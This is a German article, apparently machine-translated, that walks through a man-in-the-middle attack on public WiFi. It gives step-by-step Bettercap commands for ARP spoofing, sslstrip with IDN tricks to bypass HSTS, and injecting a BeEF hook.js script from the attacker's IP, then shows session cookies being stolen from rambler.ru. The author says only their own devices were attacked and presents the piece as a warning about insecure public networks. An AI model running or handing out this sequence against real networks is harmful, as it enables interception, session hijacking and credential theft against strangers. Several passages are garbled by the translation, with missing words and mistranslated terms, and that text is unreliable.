Öffnen des Verkehrs in öffentlichen Netzwerken





In diesem Artikel geht es darum, wie man ein Cooler wird (oder Script Kiddie auf Englisch) - ein bedingter Angreifer, dem Programmierkenntnisse fehlen und der vorhandene Software verwendet, um einen Angriff auf die Smartphones und Tablets seiner Klassenkameraden zu starten.



Ich mache nur Spaß. Tatsächlich stand ich vor der Aufgabe, zwei Dinge zu verstehen:



  1. WiFi 2020 , HTTPS ( TLS 1.1+) HSTS
  2. ( ) “” .


Und im Spoiler gibt es einen Spoiler:

  1. Ja, gefährlich!
  2. Es kann gut sein




Ich muss sofort sagen, dass einige meiner Experimente zwar in echten öffentlichen Netzwerken stattfanden, ich aber nur „illegalen Zugriff“ auf die Browser meiner eigenen Geräte hatte. Daher habe ich in der Tat nicht gegen Kapitel 28 des Strafgesetzbuchs der Russischen Föderation verstoßen, und ich rate Ihnen dringend, es nicht zu verletzen. Dieses Experiment und dieser Artikel werden nur zur Überprüfung angeboten, um die Unsicherheit bei der Verwendung öffentlicher drahtloser Netzwerke zu demonstrieren .



Was ist das eigentliche Problem für einen Hacker, wenn es einfach ist, den Verkehr in offenen drahtlosen Netzwerken von einem Sniffer abzufangen? Das Problem ist, dass im Jahr 2020 fast alle (99%) Websites HTTPS verwenden und den gesamten Datenaustausch zwischen dem Server und dem Browser eines potenziellen "Opfers" mit einem einzelnen Schlüssel unter Verwendung eines relativ neuen TLS-Protokolls verschlüsseln... TLS ermöglicht es Client-Server-Anwendungen, im Netzwerk so zu kommunizieren, dass sie keine Pakete abhören und keinen unbefugten Zugriff ausführen können. Genauer gesagt können Sie zuhören, aber das macht keinen Sinn, da verschlüsselter Verkehr ohne Schlüssel nicht zum Entschlüsseln geeignet ist.



Darüber hinaus implementieren alle modernen Browser den HSTS- Mechanismus (HTTP Strict Transport Security), der eine sichere Verbindung über das HTTPS-Protokoll zwangsweise aktiviert und eine einfache HTTP-Verbindung beendet. Mit dieser Sicherheitsrichtlinie können Sie sofort eine sichere Verbindung herstellen, anstatt das HTTP-Protokoll zu verwenden. Der Motor verwendet einen speziellen HeaderStrict-Transport-Security, um den Browser zu zwingen, HTTPS zu verwenden, selbst wenn Links gefolgt werden, die explizit HTTP angeben (http: //). Das ursprüngliche HSTS schützt nicht die erste Verbindung des Benutzers zur Site, wodurch eine Lücke für Hacker entsteht, und ein Angreifer kann die erste Verbindung leicht abfangen, wenn sie über http erfolgt. Um dieses Problem zu bekämpfen, verwenden die meisten modernen Browser eine zusätzliche statische Liste von Sites (HSTS-Preload-Liste), für die das https-Protokoll verwendet werden muss.



Um die eingegebenen Passwörter irgendwie abzufangen oder die Cookies des Opfers zu stehlen, müssen Sie irgendwie in den Browser des Opfers gelangen oder sicherstellen, dass das TLS-Verschlüsselungsprotokoll nicht verwendet wird. Wir werden beide Dinge gleichzeitig tun. Zu diesem Zweck verwenden wir die Man-in-the-Middle- Angriffsmethode”(MitM). Ich werde einen Vorbehalt machen, dass unser Angriff eher minderwertig sein wird, da wir praktisch ohne Modifikation fertige "halbfertige Konstrukteure" aus dem Hackney Sam-Magazin verwenden werden. Echte Hacker sind besser bewaffnet, und wir spielen nur die Rolle von gering qualifizierten Kulkhatskern, um den Grad der Unsicherheit moderner öffentlicher drahtloser Netzwerke zu veranschaulichen.



Eisen



Als Toolkit für das Experiment habe ich das folgende Toolkit verwendet:



  • Jedes öffentliche WiFi-Netzwerk am Food Court
  • Netbook Acer Aspire one D270
  • Eingebaute WLAN-Karte Atheros AR5B125
  • Externer WLAN-USB-WLAN-Adapter TP-LINK Archer T4U v3
  • Externer WLAN-USB-Adapter TP-LINK Archer T9UH v2
  • Kali Linux mit Kernel Version 5.8.0-kali2-amd64
  • Bettercap v2.28 Framework
  • Framework BeEF 0.5
  • Mehrere Android 9-Smartphones und -Tablets sowie ein Windows 7-Laptop als Opfergeräte.


Warum gibt es so viele WLAN-Karten? Ja, weil ich während der Experimente auf ein paar Rechen getreten bin und versucht habe, Geld zu sparen. Es stellte sich heraus, dass eine gute WiFi-Karte das Hauptwerkzeug eines erfolgreichen Angreifers ist. Es gibt eine Reihe von Problemen: Die Karte muss Überwachungs- und Zugriffspunkte (AP) unterstützen, Treiber für Ihre Version des Linux-Kernels enthalten, die Karte muss über eine gute Antenne verfügen und die Signalstärke steuern können. Wenn Sie keinen zusätzlichen Rechen benötigen, nehmen Sie einen teuren Adapter ganz oben in dieser Liste und vergessen Sie nicht, die Verfügbarkeit eines Treibers speziell für Ihre Hardware-Revision der Karte zu überprüfen.



Die eingebaute Atheros AR9485-Karte bot eine hervorragende Unterstützung für alle Modi und einen sofort einsatzbereiten Treiber in Kali. Die Unfähigkeit, die Signalstärke und eine schwache Antenne zu steuern, negierte jedoch die Wirksamkeit dieser Karte während der aktiven Interferenzphase.



WiFi TP-LINK Archer T4U v3 hatte keinen sofort einsatzbereiten Treiber, und der auf Github gefundene hatte keine Unterstützung für den Access Point (AP) -Modus und musste selbst kompiliert werden.



Die TP-LINK Archer T9UH v2-Karte funktionierte perfekt mit dem sofort einsatzbereiten Treiber. Darauf habe ich es geschafft.



Software





Als erstes habe ich Kali Linux 5.8.0 auf meinem Laptop installiert. Die einzige SSD im Laptop war leer und ausschließlich für Experimente gedacht. Dies ersparte mir den Aufwand beim Partitionieren und Sichern alter Daten, sodass ich während der Installation alle Standardoptionen verwendete. Ich hatte immer noch einige triviale Probleme, wie den Verlust der Halterung des USB-Flash-Laufwerks mit dem Distributionskit während der Installation und die Aktualisierung des Systems auf die neueste aktuelle Version aus dem Repository.





Dann war es notwendig, Penetrationstools zu starten, sie werden Bettercap und BeEF sein. Mit ihrer Hilfe werden wir die Browser der "Opfer" zwingen, sich zu weigern, den Datenverkehr zu verschlüsseln, und Trojaner-JavaScript in die von ihnen besuchten Websites einzufügen.



BettercapIst ein vollständiges, modulares, portables und leicht erweiterbares Tool und Framework mit allen Arten von Diagnose- und Angriffsfunktionen, die Sie möglicherweise für einen Man-in-the-Middle-Angriff benötigen. Bettercap ist in Go geschrieben, die Hauptentwicklung des Projekts fand bis 2019 statt, jetzt gibt es nur noch kleinere Korrekturen. Wie wir später sehen werden, bleibt dieses Instrument in der sich schnell verändernden Welt der Informationssicherheit Ende 2020 relevant. Bettercap wird mit integrierten Arp-Parodie- und SSL-Strip-Modulen geliefert. Es ist Bettercap, das den Datenverkehr abfängt und eine böswillige Last in ihn einspeist.



SSlstrip ist ein spezialisierter Proxyserver, mit dem Sie eine der Möglichkeiten zur Umgehung von HTTPS organisieren könnenUm den Datenverkehr abzufangen, muss die Benutzersitzung in zwei Abschnitte unterteilt werden. Der erste Abschnitt vom Client zum Proxyserver durchläuft das HTTP-Protokoll , und der zweite Abschnitt vom Proxy zum Server wird wie gewünscht über eine verschlüsselte Verbindung übertragen. Mit SSLstrip können Sie die Sitzung des Opfers in zwei Teile aufteilen und den Datenverkehr zur weiteren Analyse abfangen sowie automatische Weiterleitungen zu dynamisch erstellten HTTP- Seitenzwillingen bereitstellen .



Arp Parodiefängt Pakete in einem lokalen kabelgebundenen oder kabellosen Netzwerk ab. arpspoof leitet Pakete von einem Zielhost (oder allen Hosts) in einem Netzwerk um, das für einen anderen Host in diesem Netzwerk bestimmt ist, indem ARP-Antworten gefälscht werden. Dies ist eine sehr effektive Methode, um den Datenverkehr auf einem Switch oder WLAN-Router zu überwachen.



BeEF ist ein Framework, mit dem Sie einen Pool von Clients, die durch einen XSS-Angriff infiziert wurden (Cross-Site-Scripting), zentral verwalten, Befehle an sie senden und ein Ergebnis erhalten können. Der "Angreifer" fügt das Skript hook.js in die anfällige Site ein. Das Skript hook.js vom Browser des Opfers signalisiert dem Kontrollzentrum auf dem Computer des Angreifers (BeEF), dass der neue Client online ist. Der „Angreifer“ betritt das BeEF-Kontrollfeld und steuert infizierte Browser fern.



Ich habe die Versionen Bettercap v2.28 und BeEF 0.5 verwendet. Beide sind bereits in Kali Linux 5.8.0 enthalten.

Öffnen Sie ein Eingabeaufforderungsfenster und geben Sie den Befehl ein



sudo beef-xss




Der erste Teil unseres bösartigen Sandwichs - das BeEF-Framework - beginnt.



Starten wir nun den Browser (normalerweise Firefox unter Kali Linux) und rufen Sie die Adresse http://127.0.0.1:3000/ui/pannel auf , den Standardbenutzernamen und das Standardkennwort Rindfleisch: Rindfleisch. Danach gelangen wir zum Kontrollzentrum unseres Angriffs.





Lassen Sie die Registerkarte BeEF geöffnet, wir werden später darauf zurückkommen.



Fahren wir mit dem zweiten Teil des Sandwichs fort - Bettercap. Hier gab es eine Falle - Bettercap, das bereits im System vorhanden war, weigerte sich, mit dem Dienst zu beginnen, und gab andere Fehler an, die ich nicht verstand. Aus diesem Grund habe ich beschlossen, es zu entfernen und manuell neu zu installieren. Öffnen Sie ein Eingabeaufforderungsfenster und führen Sie die folgenden Befehle aus:



sudo apt remove bettercap
sudo rm /usr/local/bin/bettercap


Dann laden wir die Binärversion von Bettercap v2.28 im Archiv in den Download-Ordner mit dem Browser herunter. Bitte beachten Sie, dass ich die Version für meine Kernelarchitektur ausgewählt habe.



Jetzt entpacken wir die ausführbare Datei und legen sie im Bettercap-System in einem Ordner ab, der für die manuelle Installation vorgesehen ist.



d  
unzip bettercap_linux_amd64_v2.28.zip
sudo mv bettercap /usr/local/bin/


Der einfachste Weg , mit Bettercap zu beginnen ist die offizielle verwenden Web - Benutzeroberfläche . Die Webschnittstelle arbeitet gleichzeitig mit dem Rest-API-Dienst und einer interaktiven Befehlszeilensitzung. Um die Weboberfläche zu installieren, müssen Sie den folgenden Befehl ausführen:



sudo bettercap -eval "caplets.update; ui.update; q"


Beachtung! Bereits zu diesem Zeitpunkt ist es erforderlich, eine Verbindung zum angegriffenen drahtlosen Netzwerk herzustellen, eine IP-Adresse für die drahtlose Schnittstelle des angreifenden Computers abzurufen und sich diese zu merken (der Befehl ifconfighilft, dies herauszufinden).



Bettercap versteht sowohl einzelne Befehlszeilenbefehle als auch Caplets. Ein Caplet ist einfach eine Textdatei mit einer Liste von Befehlen, die nacheinander ausgeführt werden. Das http-ui-Caplet wird zum Starten der Weboberfläche verwendet. Sie können die darin enthaltenen Standardanmeldeinformationen entlang des Pfads /usr/local/share/bettercap/caplets/http-ui.cap anzeigen und ändern. Das Starten von Bettercap mit den Webinterface-Modulen api.rest und http.server 127.0.0.1 wird vom Befehl ausgeführt



sudo bettercap -caplet http-ui




Jetzt können Sie im Browser eine weitere Registerkarte mit der Adresse 127.0.0.1 (ohne Portnummer!) Öffnen und sich mit den Anmeldeinformationen anmelden, die im vorherigen Schritt ausspioniert oder konfiguriert wurden (normalerweise Benutzer / Pass ).





Die Bettercap-Weboberfläche dupliziert die Befehlszeile vollständig, sodass alle Aktionen, die wir über die Befehlszeile ausführen, auch über die Weboberfläche ausgeführt werden können (Starten von Modulen, Ändern der Modi, Anzeigen der Änderung des Variablenwerts, Anzeigen von Diagnoseinformationen).



Fahren Sie mit der Befehlszeile fort und führen Sie die Initialisierung durch Aufklärung des drahtlosen Netzwerks, mit dem wir bereits als Stammkunde verbunden sind.



net.recon on
net.probe on
Net.show
net.recon off


net.recon on - Startet die Erkennung von Netzwerkhosts.

net.probe on - Startet eine aktive Prüfung für neue Hosts im Netzwerk, indem falsche Pakete an jede mögliche IP im Subnetz gesendet werden.

net.show - Gibt den Befehl zum Anzeigen einer Liste des Cache der erkannten Hosts an.

net.probe off - Schaltet das aktive Prüfmodul aus .

Wir konfigurieren die Bettercap-Variablen so, dass:



  • arbeitete als transparenter Proxy und "deaktivierte" die Verschlüsselung des Browser-Austauschs von "Opfern" durch das sslstrip-Modul,
  • injizierte ihnen eine böswillige Last (http://192.168.0.103/hook.js - BeEF-Skript, verwenden Sie die vom Router an Ihren Adapter im angegriffenen Netzwerk ausgegebene IP),
  • Der HTST-Mechanismus wurde umgangen, indem die Adresse in der Adressleiste des Browsers des Opfers durch ähnliche internationalisierte Zeichen ersetzt wurde.


Befehle:



set http.proxy.sslstrip true
set http.proxy.injectjs http://192.168.0.103/hook.js
set http.proxy.sslstrip.useIDN true


Dann starten wir einen Angriff gegen drahtlose Benutzer:

Befehle



arp.spoof on
http.proxy on




arp.spoof on - Startet die ARP-Cache-Vergiftung von "Opfer" -Geräten. Dieses Modul leitet den Datenverkehr an die drahtlose Schnittstelle des "Angreifers" weiter.

http.proxy on - Startet einen transparenten Proxy. Dieses Modul erstellt einen Proxyserver, der den gesamten weitergeleiteten Datenverkehr abfängt und entsprechend anpasst "Eindringling".

"Opfer" nutzen das Internet, gehen auf Websites, und wenn sie erfolgreich sind, wird den Angriffen die Transportverschlüsselung entzogen (was bedeutet, dass sie von jedem Sniffer direkt abgehört werden können) und sie erhalten ein böswilliges BeEF-Skript. Das BeEF-Skript, das im Kontext der Domäne ausgeführt wird, in deren Seite es eingebettet war, kann viele verschiedene Aktionen ausführen, z. B. Cookies stehlen oder eingegebene Kennwörter stehlen.





Wie es sich für ein hastig hergestelltes Sandwich gehört, funktioniert der Angriff nicht an allen Standorten. Beispielsweise ist es äußerst unwahrscheinlich, dass ein Angriff mit einer der Google-Websites gestartet wird, da der Browser für einige Websites bereits über eine HSTS-Vorladeliste verfügt. Aber es stellte sich heraus, dass es durchaus möglich war, Rambler oder Coub.com zu "entführen"! Wenn wir das „Opfer“ (Social Engineering, wohin können wir ohne es gehen) bitten , die Ro.ru- Adresse zu öffnen , oder sie es plötzlich selbst tut, dann passiert Folgendes :







Der gesamte Datenverkehr des Opfers zur Website rambler.ru fliegt im Klartext durch die Luft und kann von jedem Schnüffler angehört werden. Im Browser "Opfer" gibt es fast keine Anzeichen von Problemen, außer einem unauffälligen Dreieck und einem weiteren seltsamen Zeichen am Ende der Adressleiste.





Und auf dem Computer des "Angreifers" in der Systemsteuerung des BeEF-Frameworks wird im Abschnitt "Online-Browser" ein Eintrag über einen neuen Browser angezeigt, der am Haken hängt. Wählen Sie diesen Browser mit der Maus aus, wechseln Sie zur Unterregisterkarte Befehle, zum Browserverzeichnis und anschließend nacheinander zu Hooked Domain → Cookie abrufen → Ausführen





Einmal und mit ein paar Mausklicks haben wir dem Opfer die Rambler.ru-Sitzungscookies gestohlen. Jetzt können wir versuchen, sie in unseren Browser einzufügen und in die Sitzung des Opfers einzusteigen. Und das ist nur top! Aber im Arsenal von BeEF gibt es immer noch mehrere hundert verschiedene "Befehle", die wir an den "abgefangenen" Browser senden können: verschiedene Phishing-Optionen, Diebstahl von Passwörtern, Ricrolls, Weiterleitungen, Exploits ...



Schlussfolgerungen



Die Schlussfolgerungen des Experiments sind enttäuschend. Browser können Benutzer immer noch nicht zu 100% vor Manipulationen am Datenverkehr oder dem Ersetzen dieser Website durch Phishing schützen. Der HSTS-Mechanismus funktioniert nur für einige Tausend der beliebtesten Websites und lässt Millionen anderer Websites keinen zuverlässigen Schutz. Browser sind nicht explizit genug, um zu warnen, dass die Verbindung zum Server nicht verschlüsselt ist. Noch schlimmer ist die Situation in drahtlosen Netzwerken, in denen jeder, der Zugriff auf das Datenübertragungsmedium haben möchte, während fast keiner der Benutzer die Authentizität des Zugriffspunkts selbst überprüft und zuverlässige Methoden zur Authentifizierung von Zugriffspunkten einfach nicht existieren.










All Articles